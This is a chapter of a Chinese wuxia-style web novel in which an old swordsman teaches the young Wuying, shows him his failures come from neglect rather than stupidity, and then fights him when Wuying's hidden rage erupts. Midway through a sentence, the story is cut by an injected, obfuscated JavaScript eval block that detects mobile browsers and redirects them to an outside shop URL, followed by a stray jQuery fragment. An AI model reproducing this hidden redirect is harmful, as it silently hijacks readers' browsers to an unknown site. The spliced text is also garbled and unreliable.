程砚那一句「难得」，夸得无影耳尖「腾」地一下就红了。
他素来受不住这般正经八百的夸赞，尤其这话还说到了他心坎上。他不自在地抱紧了伞，慌忙便要转开这话头。
「你……」他磕磕巴巴的，「你还没说，是怎么做到的呢。」
把那盘旋在心头的好奇重又拎了出来，他便理直气壮多了。他抬起下巴，那两个字说得又自然又霸道，活像程砚本就欠着他似的：
「教我。」
程砚被这没头没脑的一句，逗得失笑出声。
这小友，输了棋，便去缠着云岱要学；这会儿输了剑，又转头来缠他。倒是半点也不见外，那「教我」二字，说得比谁都理直气壮。
「教你？」他摇着头笑，「老夫这点子本事，可不是一招一式，能像传个招式那般，三两下就塞给你的。这是几十年的火候，是在那『静』字上头，一点一点熬出来的心境。急不来。」
无影一听「急不来」，那刚扬起的下巴便又有些蔫了。
程砚瞧着他那泄气的模样，却又话锋一转，那淡泊的眼里，慢慢漫起了几分认真的兴味。
「不过……」他端详着他，慢悠悠地说，「老夫方才说你没有杀意，可那条又快又狠，靠杀意吃饭的路子，本也未必就是你该走的。」「你这性子，下不去狠手，偏又坐得住，沉得静。」他指了指自己那柄旧剑，「老夫这一路剑，走的不是『快』，不是『狠』，恰恰相反，走的是个『静』字。后发，而先至；以不变，应万变。这一条路，要的不是杀心，是定力。」
他看着无影，那笑意里头，是一种发现了璞玉般的郑重：
「说来也巧，这条路，旁人未必走得通，你嘛……倒像是天生就该走这一条的。怎么样，可要老夫，领你入个门？」
无影点了点头，应下了。只是应归应，他心里头，却又没了底。
程砚方才那一大套，什么「后发先至」，什么「以不变应万变」，又是静，又是动的，他光是听着，脑子就先迷糊了大半。他怕的就是，程砚这一身本事，也同那满纸的口诀一般，只能干讲，讲完了，他却一个字也没听进去。
他迟疑了一下，到底还是放低了声气，问出了一句：
「能……上手教吗？」
他是真对自己那点领悟的本事，没什么信心。
旁人都当他是百年难遇的奇才，是灵气逼人的天纵之资。可只有他自个儿心里清楚，单是一个暗能附体，他便足足磨了十几年，才勉勉强强练成。那个在永夜里成绩垫底，笨手笨脚，被先生摇头叹气的影子，从来就没从他心里头散过。光凭着听，他是断断学不会的。
程砚先是一怔。满会的人，都当他是块千年难得的璞玉，偏他自个儿，问起话来，竟这般没底气，活像个怕自己学不好，要挨先生骂的蒙童。这中间的落差，叫程砚心里头，又掠过一丝不易察觉的怜惜。
他没有戳破那点子自轻，也没有多余的宽慰。这般正经的夸，方才已臊得他耳朵通红，便不再添了。他只温和地点了点头，应得干脆：
「上手教，自然使得。」
他重又取了那柄旧剑在手，又示意无影持稳了那把永夜伞，自己则缓步绕到他身侧，并不急着说什么大道理，只伸手，轻轻扶住了他执伞的手腕。
「来。先不必想那些个静啊动的。」他的声音不疾不徐，像在哄一个怕生的孩子，「你只跟着老夫的手，慢慢走上一遍，记着这个『等』字，便够了。」
无影松了一口气。能上手教，就好。
他便依着程砚的引带，持着伞，跟他的手，一遍一遍地，慢慢走那一式。说也奇怪，方才听得云里雾里的那个「等」字，这会儿由他扶着手腕，实实在在地走上几遍，他竟隐隐摸着了一点门道。手底下那点感觉，比那满耳朵的口诀，要清楚太多了。
练了一会儿，程砚停下手，让他歇一歇。他像是想起了什么，温声问道：
「老夫瞧着，你这底子是真薄。从前，你都是怎么学武的？」
无影认认真真地想了想，便老老实实地，同他说了起来。
「从前的课，都排在傍晚。」他说，「我……不许同旁的同窗动手。白日里，我又看不大清楚。」
「便只能，一个人坐在角落里。」他的声音渐渐低了下去，「听先生在台上讲，听同窗们在底下，打来打去的动静……」
「到了考较的时候，总是……总是学不会。」
说到这儿，他的声音已细得几乎听不见了，那颗高昂了一晚上的头，也不知不觉地，垂了下去。他心里头想着：程先生这下，该觉得我是个笨蛋了罢。程砚却没有作声。
他静静地听着这一番话，那原本只是随口一问的神色，渐渐沉了下来。他心头那点「这孩子怎会这般没底子」的疑惑，此刻，一点一点地，全有了答案。
一个白日里看不清，又不许同人动手的孩子，被独独晾在那角落里，单凭着两只耳朵，去学那最讲究身手实练的拳脚刀剑。这如何学得会。
「你不笨。」
程砚的声音，比方才重了几分，那一向淡泊的语气里，竟透出一丝压着的，替他抱不平的意味。
「眼睛看不见，手又不许动，单把你撂在角落里听一听，便要你学会这刀剑拳脚……换了这天底下任何一个人，也一样学不会。」他看着那低垂的头，一字一句道，「这从来不是你的错。」
他顿了顿，又缓和了语气，指了指方才练的那一式：
「再说，你方才跟着老夫的手，统共没走几遍，便已得了七八分。你若当真是个学不会的笨人，能这样？你不是不能学，是从前，压根没人，好好教过你罢了。」
无影还是不大信。
他摇了摇头，又翻出旁的由头来，像是非要把自己这「笨」字给坐实了不可：
「先生们，都说我笨拙。」他低着头，闷闷地数着，「除了礼仪，古文那些，只消背一背，记一记，便能应付的课，我还过得去。旁的那些课，我……全是先生们特批了，才勉强给我个及格。」
他说完，心里头那点自轻又重了几分。
你瞧，连先生都得「特批」，才能让他及格。这还不算笨么？
可程砚听到这儿，那神色却不是附和。他眼底，反倒微微亮了一下。他听出了一桩，连无影自己，都不曾留意到的关窍。
「你过得去的那几门，」他不疾不徐地，把那话头接了过来，「礼仪也好，古文也好，是什么样的课？是只消你坐着听一听，记一记，背一背，便能学会的课。」「这些课，你那看不清，又不许动手的处境，半分也碍不着你。」他看着他，目光沉静，「于是你便学得好好的，是不是？」
无影怔了怔，没料到他会这么说。
「而你那些『学不会』的，」程砚顿了顿，一字一句道，「偏偏，全是要你下场去练，要你亲眼去看，要你亲手去做的。那些个，你打从一开始，就压根没机会去碰。」「所以，你哪里是笨。」
他的语气笃定得很，像是要把这个道理，一钉一铆地，敲进他心里去。
「凡是让你够得着的，你一样不落，全学会了。你『学不会』的，无一不是旁人没让你够着的。这不叫笨。」「这叫，生生被耽误了。」
他望着他，末了，又轻轻添了一句，那语气里满是了然：
「至于那几个『特批』的及格……与其说是先生们可怜你，老夫倒觉着，是他们心里头也清楚，这一笔亏，原就不该，算到你的头上。」
无影还是不肯信。
他像是憋着一股劲，非要把自己这「不成器」给说个明白：
「那……说话，总不必练了罢？」他声音闷闷的，「可我偏偏，天生就缺一条筋。连句场面上的客套话，都说不周全，回回都得旁人，替我作补。」
他想起了那位好友，寻密。
在永夜的时候，每每他说错了话，失了礼，惹得场面尴尬，寻密总是懒洋洋地，替他撂下那么一句：「这家伙，血脉浓度十三。」
于是满座的人，便像是得了什么赦令一般，齐齐松一口气，把他方才那句不中听的失礼话，当作压根没听见，轻轻巧巧地，便掠了过去。
那是一种说不清是好是坏的滋味。横竖，没有人会同他计较，可也再没有人，肯把他当个寻常人，认认真真地，同他说道一句。想到这儿，他心里头莫名地一紧。那套他打小学来的，用以遮掩的客套，又不由自主地，溜到了嘴边。他微微垂下头：
「是无影失礼了。」
程砚一怔。这句告罪，来得没头没脑。他方才同程砚说的那些掏心窝子的话，哪里有半分失礼？可程砚只略一品味，便从这句不合时宜的客套里，又读出了一层东西来。
「你方才，并没有失礼。」他先把这句，轻轻地，替他正了过来。
随即，他缓缓道：
「你说那场面话不必练，错了。看着不必练，实则那一句一句的来往，都是要旁人陪着你，一来一回，慢慢磨出来的。」
「可你身边的人，是怎么待你的？」他的语气里，又添了那么一丝悠远的怅惘，「你一说错，他们便寻个由头，三两句替你抹平了，掠过去了。没有一个人，肯停下来，告诉你这句错在哪儿，往后该怎么说。」「既没人教，也没人陪你磨，你这场面话，又从何练起？」
他望着他，那目光沉静，却也藏着一丝看透了的悲悯：
「他们替你遮掩，从来不是为你好。那是把你高高地供着，谁也不肯，也不敢，真把你当个寻常孩子，好好地，同你计较一句，教你一句。」
「我……我明明，背诵了好多次的……」
不知怎的，那压了他一辈子的委屈，这会儿，竟全涌了上来。他也说不清自己是要做什么，像是要拿出一样什么铁证，来同程砚，也同自己，争辩一番。他低着头，一句接着一句，背诵起那篇永夜开蒙时就用的《礼仪篇》来：「兄及弟幼，为长为先。师生有道，顺遂年年……」
这一篇，他从记事起便开始背，整整背了三十多年。一字一句，滚瓜烂熟，从不曾错漏半个字。可背了三十多年。他还是，没学会。
他越背越快，那一向平稳的声气里，渐渐掺进了一丝连他自己都没能察觉的，几乎要哭出来的颤。仿佛只要把这篇东西背得够熟，够全，便能证明，他不是不肯学，他是当真，使过力气的。程砚静静地听着。
那是一篇佶屈聱牙，难懂得很的文章，字字句句都拗口得很。可他背得那样流利，那样一字不差。听着听着，程砚抬起了手。
「停一停。」他的声音很轻，却叫那急促的背诵，戛然止住了。
廊柱旁，不知何时跟过来的柴心，正攥紧了拳，望着他这副少见的，绷不住的模样，那眼神里，又是心疼，又是难受。他还从没见过，无影把那点委屈，露得这样明白。程砚看着那低垂的，微微发着颤的头，半晌，才缓缓开口，那语气温和得，像怕碰碎了什么：
「这样一篇佶屈聱牙，连老夫都听不大懂的文章，你方才，竟一字不错地背了出来。」「你管这个，叫笨？」
无影还是不信。
「七岁的小儿，见着自己的父亲，都能说上几句体面的，贴心的话。」他低着头，声音里满是认了命的苦涩，「可我……我见着父亲，却只会干巴巴地，说一句『问安』。连个七岁的娃娃，都不如。」
程砚没有顺着这话往下接。他沉默了一瞬，忽然，问了一句不相干的：
「那你，见过你父亲几回？」
无影呆住了。这个问题，他长这么大，竟从来没有想过。他愣愣地立在那儿，第一次，认认真真地，在心里头数了起来。
一回。两回。那些个隔着漫长年月，零零星星的会面，一桩一桩，从他记忆深处翻了出来。他数得很慢，很慢，仿佛每数一回，都要往那空荡荡的过去里，走上很远的一段路。数到最后，他怔怔地，报出了那个数。声音轻得，像怕惊扰了什么：
「笼共……十四回。」
十四回。这两个字一出口，廊下静得落针可闻。程砚那原本备着的，要替他辩驳的话，连同那满腹的道理，霎时间，全堵在了喉咙里，一个字也说不出来了。廊柱旁，柴心猛地攥紧了拳，那一向冷硬的脸，狠狠地抽动了一下。
良久，程砚才极轻，极缓地，叹出了一口气。他看他的目光里，再没有半分要讲道理的意思，只剩下一种沉甸甸的，化不开的悲悯。
「你连他的面，都没见过几回。」他一字一句，说得很慢，「又教你，从哪里去学，那些个体面贴心的话？一个素不亲近的人，你能规规矩矩地，与他问上一声安，已是极难为你了。」
「无影。」他头一回，这样唤他的名字，「你方才数落自己的那一桩桩，学不会的武，说不周的话，见不着的父亲……没有一桩，是你的错。」「你不笨，也不曾缺什么。」他缓缓道，「你只是，从来就没有一个人，肯把你当个寻常孩子，好好地，待你一回，教你一回罢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17962024|210014||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了。」
程砚的声音放得极轻，又问了下去：
「那其余的家人呢？你母亲呢？」
无影茫然地，一一答着，尚不知这一句一句，正把他引向何处。
「母亲，随父亲一道。」他说，「两位长兄，也早已成了家，搬出去住了。」
程砚顿了顿，又问：
「那……府里的下人，奴仆呢？」
「家中，并无奴仆。」他答。
他说的是实话。永夜技术通天，万般琐事自有器物代劳，一个人，也尽能过得妥妥帖帖，原是用不着什么奴仆伺候的。可这话，落进程砚耳朵里，却全然走了样。
一个堂堂的世家子弟，竟说家里连个奴仆都没有？在他想来，这世上只有一种可能，那便是那些下人，都躲着他。他眼前又浮起那双不济的眼睛，心头猛地一沉。一群下人，要躲一个瞧不真切的少主，何其容易。只消屏息噤声，他便永远也察觉不到，自己身边，竟是这般空无一人。
他又重重地，叹了一口气。那叹息声里头的怜悯，叫无影慌了。他像是溺水的人，猛地抓住了一根救命的稻草，急急地，几乎是要嚷出来：
「可，可是长姐在家！长姐她日日都在，我……我日日都见得着她的！」
这是他最后的凭据了。他总还有长姐。他总还有一个，日日见得着的人。廊柱旁，那一直沉默着的柴心，却忽然开了口。他的声音很轻，轻得几乎听不见，那里头，满是不忍：
「……无影。」
他顿了顿，像是这一句话，于他也艰难得很：
「你说过的……长姐，不喜你。」
就这一句。像一根针，轻轻地，便戳破了他最后那一点强撑着的，自欺的泡沫。
是啊。长姐日日在家。可他日日见着的，是那一句不耐烦的「别烦我」，是她那张嫌他多事，避之不及的脸。那哪里是什么陪伴。那分明是……
他浑身，开始不受控制地剧烈颤抖起来。他张了张嘴，想辩，想驳，想再寻出哪怕一根稻草来。可这一回，他什么也寻不着了。一个字，也说不出来。
柴心一见他这副摇摇欲坠的模样，那刚出口的话，霎时全化作了排山倒海的悔意。他再顾不得旁的，几步抢上前来，一把将他扶住。
「公子……」
无影浑身颤抖着，却还是辩解。
「可父亲，是为我取过名字的。」他的声音抖得厉害，却仍倔强地，要把这桩说出来，「他给我取名，唤作『祏』。典司宗祏……是极要紧，极贵重的意思。」「就连……就连皇爷爷，都说过，我这名字，贵重得很……」
他瞧。他在心底，近乎执拗地对自己说着。我是有人在乎的。父亲肯为我，取这样一个贵重的名字。我不是，没人要的。程砚一直静静地听着。
可「皇爷爷」这三个字一入耳，他那一向古井无波的眼底，瞳孔骤然，微微一缩。
他像是骤然想到了什么了不得的关节，那淡泊的神色，极快地变了一变。这名字，这称呼，连同方才那一身的来历……有些东西，在他心里头，隐隐串到了一处。可他到底是养气极深的人，硬生生把那翻涌起来的惊疑，尽数压了下去，一个字也没多问。
只是无影这一急，一颤，一动气。那道蛰伏在心口的旧伤，便又被狠狠地勾了起来。那股熟悉的刺痛，一丝一丝地，顺着心口蔓延开来。丹田深处，那几道血色的纹路，也跟着，不安地蠢动起来。扶着他的柴心，离得最近，第一个便察觉了那骤然紊乱的气息。
他脸色「唰」地一下就白了。
他再顾不得旁的什么，只一把将他扶稳，压着嗓子，凑在他耳边，一遍一遍，急切地低唤：
「公子，莫动气。莫动气……」「听我的，深吸气。莫要再想了，啊？」他的声音里头，是掩不住的惊惶，「都过去了。那些都过去了。你先把这口气，顺下来……」
压不住了。
柴心在耳边的低唤，他一个字也听不进去了。
那股蛰伏已久的怒意，挣脱了所有的束缚，「轰」地一下，烧遍了他的全身。心口那点刺痛骤然炸开，丹田里那几道血色的纹路再也压制不住，顺着脖颈，一路狰狞地，蔓上了他的脸。
他周身的气势，霎时暴涨。那个一向温吞怯弱，被人揉一下头都要脸红的少年，不见了。取而代之的，是一身森冷的，择人而噬的滔天杀气。他眼底那点惯常的清澈，也被一种近乎嗜血的，不管不顾的疯戾，尽数取代。
程砚瞧着这骤然暴涨，判若两人的气势，那一向淡泊从容的眉，挑了挑。
「前辈。」无影开了口，那声音冷得，连他自己都觉着陌生，「与我，打一架吧。」
话音未落，他已率先扑了上去。出手便是狠招。程砚提剑相迎。可剑锋方一接触，他便骇然发觉，眼前这个人，已是天翻地覆。
方才他还断言无影「没有杀意」，说招式「飘的，没有根」。可此刻，他递出的每一招，都裹着一股实打实的，不死不休的狠戾。那一缕「我就是要打到你」的动机，那个程砚说他缺了的「根」，竟在这暴怒里头，齐齐地，长了出来。
这一场，才算是真打。那被暴怒催发的身手，比平日里又快了几分，狠了几分。瞬影，伞影，那股豁出去的冲劲，劈头盖脸，尽数朝程砚压了过去。程砚那一手以静制动的慢剑，头一回，被逼得快了起来。剑光伞影，在这沉沉的夜色里，绞作了一团。
程砚到底是积年的老手，凭着那一身深厚的火候，堪堪能与他周旋。可饶是如此，他这不要命的打法，也生生逼出了程砚几分压箱底的真章。两人有来，有往，竟是一时间，难分高下。廊柱旁，柴心攥紧了拳，又惊又急。
可他不敢上前。他比谁都清楚，无影这暴怒一旦发作，是谁也拦不住的，强拦，只会火上浇油。唯有由着他，把这股邪火，一直打到力竭气尽，它才会自个儿熄下去。他只死死地盯着，把心提到了嗓子眼，随时预备着扑上来接住他。果然。
这暴怒烧的，原是他自己的气血。它来得有多猛，去得，便有多快。打着打着，他只觉那股冲天的狠劲，正一点一点地，从身子里漏了出去。瞬影慢了，伞也沉了，眼前那一片凌厉的剑光，渐渐地，模糊成了一团化不开的影。
终于，连那最后一丝气力，也被他耗了个干干净净。他眼前猛地一黑，整个身子晃了一晃。恍惚间，他像是听见柴心一声变了调的惊呼，朝他扑了过来。
然后，他便什么都不知道了。